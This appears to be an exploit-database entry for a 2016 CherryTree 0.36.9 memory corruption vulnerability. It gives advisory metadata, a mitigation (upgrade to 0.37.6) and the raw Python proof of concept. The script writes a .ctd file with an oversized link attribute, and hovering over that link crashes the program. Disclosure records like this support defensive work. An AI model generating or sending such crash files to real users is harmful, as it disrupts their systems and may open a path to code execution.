CherryTree 0.36.9 - Memory Corruption PoC

vendor:

CherryTree

by:

n30m1nd

7,8

CVSS

HIGH

Memory Corruption

119

CWE

Product Name: CherryTree

Affected Version From: 0.36.9

Affected Version To: 0.37.5

Patch Exists: YES

Related CWE: N/A

CPE: a:giuspen:cherrytree

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win7 64bit and Win10 64 bit

2016

CherryTree 0.36.9 – Memory Corruption PoC

A memory corruption vulnerability exists in CherryTree 0.36.9 due to a null pointer reference when trying to draw the contents of the graphical bitmaps. An attacker can exploit this vulnerability by creating a malicious .ctd file and hovering over the link. This will cause a crash and potentially lead to arbitrary code execution.

Mitigation:

Upgrade to CherryTree 0.37.6 or later.

Source

Exploit-DB raw data:

#!/usr/bin/python

### CherryTree 0.36.9 - Memory Corruption PoC by n30m1nd ### 

# Date: 2016-10-27
# PoC Author: n30m1nd
# Vendor Homepage: http://www.giuspen.com/cherrytree/
# Software Link: http://www.giuspen.com/software/cherrytree_0.36.9_setup.exe
# Version: Affects all versions of CherryTree prior to 0.37.6
# Tested on: Win7 64bit and Win10 64 bit

# Credits
# =======
# Thanks to Giusepe Penone for this invaluable piece of free, open source software and also for quickly patching this vuln.
# Shouts to the crew at Offensive Security for their huge efforts on making	the infosec community better

# How to
# ======
# * Run this python script. It will generate a "PoC-1.ctd" file.
# * Open the file and hover over the link.
# Bonus
# =====
# It will also crash if you click on the link (but it will also make your graphic drivers stop working sometimes...)

# Why?
# ====
# For what we have seen debugging the crash (thanks R0c0!), it happens inside libcairo2.0.dll due to a null pointer reference when
# trying to draw the contents of the graphical bitmaps.

# Exploit code
# ============

crashfile = '''<?xml version="1.0" ?>
<cherrytree>
    <node custom_icon_id="0" foreground="" is_bold="False" name="PoC" prog_lang="custom-colors" readonly="False" tags="" unique_id="1">
        <rich_text link="node 1 '''+ "A"*65534 + '''">MOUSE OVER THIS</rich_text>
    </node>
</cherrytree>
'''

with open("PoC-1.ctd", 'w') as f:
    f.write(crashfile)
    f.close()